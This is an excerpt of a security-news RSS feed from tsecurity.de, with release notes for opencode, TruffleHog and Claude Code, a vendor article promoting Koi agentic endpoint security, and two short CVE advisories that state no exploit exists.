Preserve grep symlink paths in search results. (@remixz)
Preserve Mistral reasoning history across turns.
Stabilize Mistral prompt cachi...]]></description>
<link>https://tsecurity.de/de/3692688/downloads/v1185/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692688/downloads/v1185/</guid>
<pubDate>Sat, 25 Jul 2026 00:31:21 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Improve Claude adaptive thinking handling across more response shapes.</li>
<li>Avoid OpenAI Responses phase handling that could break some conversations.</li>
<li>Preserve grep symlink paths in search results. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/remixz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/remixz">@remixz</a>)</li>
<li>Preserve Mistral reasoning history across turns.</li>
<li>Stabilize Mistral prompt caching.</li>
<li>Use the correct prompt cache keys for each SDK.</li>
<li>Fix MiniMax M3 thinking variant selection.</li>
</ul>
<h2>Desktop</h2>
<h3>Improvements</h3>
<ul>
<li>Support the current server terminal transport.</li>
<li>Support current-server review data in the desktop app.</li>
<li>Update server discovery flows for current servers.</li>
<li>Support current-server session actions, including prompts and commands.</li>
<li>Render current-server session timelines.</li>
<li>Stream current-server events in the desktop app.</li>
<li>Detect legacy and current servers so the desktop app can work with both.</li>
</ul>
<h3>Bugfixes</h3>
<ul>
<li>Restore optimistic timeline updates while responses are still streaming.</li>
<li>Hide legacy-only features when connected to current servers.</li>
<li>Preserve inline file mentions when sending prompts to legacy servers.</li>
<li>Stop auto-accepting config permissions on current servers.</li>
<li>Keep current servers out of the legacy layout.</li>
<li>Show plain file contents in file-specific tabs instead of review diffs.</li>
<li>Keep the prompt input agent toggle in sync.</li>
<li>Keep paginated session timelines in the right order.</li>
<li>Restore directory-scoped session status for legacy servers.</li>
<li>Reload legacy session progress after hydration.</li>
</ul>
<p><strong>Thank you to 2 community contributors:</strong></p>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dleopold/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dleopold">@dleopold</a>:
<ul>
<li>fix(app): classify existing web profiles for layout transition (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939847181" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/38117" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/38117/hovercard" href="https://github.com/anomalyco/opencode/pull/38117">#38117</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/remixz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/remixz">@remixz</a>:
<ul>
<li>fix(opencode): preserve grep symlink paths (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4963907154" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/38581" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/38581/hovercard" href="https://github.com/anomalyco/opencode/pull/38581">#38581</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692679/it-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 00:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-65757 | Regular Labs Modules Anywhere Plugin up to 8.4.1 Editor Popup permission (EUVD-2026-47895)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Regular Labs Modules Anywhere Plugin up to 8.4.1. This affects an unknown part of the component Editor Popup. Executing a manipulation can lead to permission issues.

This vulnerability is handled as CVE-2026-65757. The attack can ...]]></description>
<link>https://tsecurity.de/de/3692661/sicherheitsluecken/cve-2026-65757-regular-labs-modules-anywhere-plugin-up-to-841-editor-popup-permission-euvd-2026-47895/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692661/sicherheitsluecken/cve-2026-65757-regular-labs-modules-anywhere-plugin-up-to-841-editor-popup-permission-euvd-2026-47895/</guid>
<pubDate>Sat, 25 Jul 2026 00:11:04 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/regular_labs:modules_anywhere_plugin">Regular Labs Modules Anywhere Plugin up to 8.4.1</a>. This affects an unknown part of the component <em>Editor Popup</em>. Executing a manipulation can lead to permission issues.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-65757">CVE-2026-65757</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59213 | open-webui Open WebUI up to 0.9.x Model List Caching routers/openai.py get_all_models permission (EUVD-2026-42629)]]></title>
<description><![CDATA[A vulnerability has been found in open-webui Open WebUI up to 0.9.x and classified as problematic. This affects the function get_all_models of the file routers/openai.py of the component Model List Caching. Performing a manipulation results in permission issues.

This vulnerability is reported as...]]></description>
<link>https://tsecurity.de/de/3692310/sicherheitsluecken/cve-2026-59213-open-webui-open-webui-up-to-09x-model-list-caching-routersopenaipy-getallmodels-permission-euvd-2026-42629/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692310/sicherheitsluecken/cve-2026-59213-open-webui-open-webui-up-to-09x-model-list-caching-routersopenaipy-getallmodels-permission-euvd-2026-42629/</guid>
<pubDate>Fri, 24 Jul 2026 20:47:57 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/open-webui:open_webui">open-webui Open WebUI up to 0.9.x</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This affects the function <code>get_all_models</code> of the file <em>routers/openai.py</em> of the component <em>Model List Caching</em>. Performing a manipulation results in permission issues.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-59213">CVE-2026-59213</a>. The attack is possible to be carried out remotely. No exploit exists.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[v3.96.0]]></title>
<description><![CDATA[What's Changed

[INS-355] Added Hashicorp vault token detector by @MuneebUllahKhan222 in #4819
Tighten JiraToken v1 verification by @shahzadhaider1 in #5122
[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by @bill-rich in #5123
Fix GitLab project metadata cache...]]></description>
<link>https://tsecurity.de/de/3692297/it-security-tools/v3960/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692297/it-security-tools/v3960/</guid>
<pubDate>Fri, 24 Jul 2026 20:37:39 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>[INS-355] Added Hashicorp vault token detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4087349241" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4819" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4819/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4819">#4819</a></li>
<li>Tighten JiraToken v1 verification by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857561874" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5122" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5122/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5122">#5122</a></li>
<li>[INT-718] Add TargetNotFoundError for targeted scan targets missing from the source by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bill-rich/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bill-rich">@bill-rich</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4858092823" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5123" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5123/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5123">#5123</a></li>
<li>Fix GitLab project metadata cache and switch to LRU by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890961533" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4727" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4727/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4727">#4727</a></li>
<li>Log analyze errors for Anthropic Analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4844292265" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5120" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5120/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5120">#5120</a></li>
<li>Add metrics for chunks and results by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4880771609" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5128" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5128/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5128">#5128</a></li>
<li>Update Cloudflare detectors for 2026+ prefixed credential formats (include upstream PR changes) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4817025959" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5111" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5111/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5111">#5111</a></li>
<li>[INS-312] Duo API Secret Key Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3994103061" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4771" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4771/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4771">#4771</a></li>
<li>[Feature] Added SonarQube Cloud "Scoped Organization Token" Detector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nabeelalam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nabeelalam">@nabeelalam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3925861219" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4739" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4739/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4739">#4739</a></li>
<li>[INS-255] Updated datadog detector to set verificationError in case of a verification error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MuneebUllahKhan222/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MuneebUllahKhan222">@MuneebUllahKhan222</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3812485778" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/4661" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/4661/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/4661">#4661</a></li>
<li>Log analyze errors for Postgres analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890144471" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5131" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5131/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5131">#5131</a></li>
<li>Log analyze errors for HuggingFace analyzer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kashifkhan0771/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kashifkhan0771">@kashifkhan0771</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4889921966" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5130" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5130/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5130">#5130</a></li>
<li>Engine - Config.SourceManager doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanfcp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanfcp">@amanfcp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4563649430" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5002" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5002/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5002">#5002</a></li>
<li>Update module github.com/go-git/go-git/v5 to v5.19.1 [SECURITY] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/renovate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/renovate">@renovate</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642514134" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5034" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5034/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5034">#5034</a></li>
<li>Retry git clone on transient network errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894687674" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5132" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5132/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5132">#5132</a></li>
<li>Fix <code>scan_all_installations</code> Rejecting Org Member Personal Repos by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shahzadhaider1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shahzadhaider1">@shahzadhaider1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4930360573" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5142" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5142/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5142">#5142</a></li>
<li>updated detector to include underscore char by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
<li>[chore] Change job_id in metric to source_type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mcastorina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mcastorina">@mcastorina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4953017010" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5149" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5149/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5149">#5149</a></li>
<li>Posthog regex update by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902316600" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5133" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5133/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5133">#5133</a></li>
<li>fix(handlers): apk handler now doesnt check for apk extension since json-enumerator and other byte stream methods wouldnt have it by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/johannestaas-trufflesec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/johannestaas-trufflesec">@johannestaas-trufflesec</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4954699768" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5151" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5151/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5151">#5151</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattbrady-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattbrady-1">@mattbrady-1</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856829937" data-permission-text="Title is private" data-url="https://github.com/trufflesecurity/trufflehog/issues/5121" data-hovercard-type="pull_request" data-hovercard-url="/trufflesecurity/trufflehog/pull/5121/hovercard" href="https://github.com/trufflesecurity/trufflehog/pull/5121">#5121</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/trufflesecurity/trufflehog/compare/v3.95.9...v3.96.0"><tt>v3.95.9...v3.96.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.219]]></title>
<description><![CDATA[What's changed

Added Claude Opus 5 (claude-opus-5), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok
Added sandbox.network.strictAllowlist setting to deny non-allowlisted hosts for sandboxed commands without prompting
Added DirectoryAdded hook that fires after /add-dir or t...]]></description>
<link>https://tsecurity.de/de/3692181/downloads/v21219/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692181/downloads/v21219/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Added Claude Opus 5 (<code>claude-opus-5</code>), now the default Opus model — 1M context, fast mode at $10/$50 per Mtok</li>
<li>Added <code>sandbox.network.strictAllowlist</code> setting to deny non-allowlisted hosts for sandboxed commands without prompting</li>
<li>Added <code>DirectoryAdded</code> hook that fires after <code>/add-dir</code> or the SDK <code>register_repo_root</code> control request registers a new working directory mid-session</li>
<li>Added <code>mcp_server_errors</code> to the headless stream-json init event, listing <code>--mcp-config</code> entries skipped by config validation; terminal runs print a startup warning</li>
<li>Added the <code>workflowSizeGuideline</code> settings key so the advisory Dynamic workflow size guideline can be set from any settings file; the <code>/config</code> row is hidden while one does</li>
<li>Added nested subagent forwarding in stream-json: subagents spawned at depth-2+ now appear when <code>--forward-subagent-text</code> is set, keyed by their spawning Agent <code>tool_use</code> id</li>
<li>Fixed <code>claude -p</code> text output dropping the answer already produced when a turn dies on a mid-stream API error</li>
<li>Added HTTP status and error text to <code>claude mcp list</code> and <code>/mcp</code> when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace</li>
<li>Fixed a permission you approved while a self-hosted runner was restarting being dropped when the session resumed, so the approved action now runs</li>
<li>Fixed the Fable model row showing "Requires usage credits" for plans that include it, when a stale cache had baked the label in</li>
<li>Fixed a SIGTERM arriving while a self-hosted runner was starting up leaving a stale active row until the lease expired; it now deregisters cleanly</li>
<li>Added structured failure categories to self-hosted runner spawn and session failures, so hook errors, runner crashes and config errors can be told apart</li>
<li>Fixed the <code>/model</code> picker showing the merged Opus row as plain "Opus" instead of "Opus (1M context)"</li>
<li>Fixed copy-on-select inside GNU screen printing base64 into the terminal instead of copying the selection</li>
<li>Fixed Remote Control clients keeping a stale fast-mode status after a model switch, reconnect, or failed org check</li>
<li>Fixed <code>CLAUDE_CODE_GIT_BASH_PATH</code> on Windows exiting or being used as bash when the path isn't a bash/sh binary; it's now ignored with a warning</li>
<li>Fixed Vim mode: pressing ← on an empty prompt now returns to the agent view from NORMAL mode, not just INSERT</li>
<li>Fixed screen-reader mode rewriting the entire input line on every keystroke instead of echoing only the typed character</li>
<li>Improved the "Remote Control is only available via api.anthropic.com" error to name the specific setting that caused it</li>
<li>Improved <code>claude --teleport</code> to show which repo your current checkout points at when it doesn't match the session's repo</li>
<li>Changed dynamic workflows to default to a medium size guideline (aim for fewer than 15 agents); pick another size or unrestricted with Dynamic workflow size in <code>/config</code></li>
<li>Changed managed MCP allowlist/denylist <code>${VAR}</code> entries to resolve from the startup environment and managed-settings env instead of settings-file env</li>
<li>Changed the <code>/model</code> picker to highlight only the newest model's name, so the highlight marks the new release rather than an arbitrary subset of the list</li>
<li>Added the current default workflow size to the running-workflow status line, with a pointer to <code>/config</code> for changing it</li>
<li>Removed Opus 4.7 from fast mode; <code>/fast</code> now applies to Opus 5 and Opus 4.8</li>
<li>Updated the claude-api skill to default to Claude Opus 5, with a migration path from Opus 4.8</li>
<li>Subagents can now spawn nested subagents up to depth 3 by default (was 1); set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH=1 to disable nesting</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in docker (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3692040/unix-server/security-mehrere-probleme-in-docker-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692040/unix-server/security-mehrere-probleme-in-docker-suse/</guid>
<pubDate>Fri, 24 Jul 2026 18:32:18 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox’s new tab page adds AI-powered daily crossword widget]]></title>
<description><![CDATA[More widgets are coming to Firefox’s New Tab page, including an interactive crossword puzzle powered by the AI news reader Particle. The mini crossword game is updated daily, with puzzles based around recent content Particle‘s AI has ingested and summarised that day, and links to articles you can...]]></description>
<link>https://tsecurity.de/de/3691978/linux-tipps/firefoxs-new-tab-page-adds-ai-powered-daily-crossword-widget/</link>
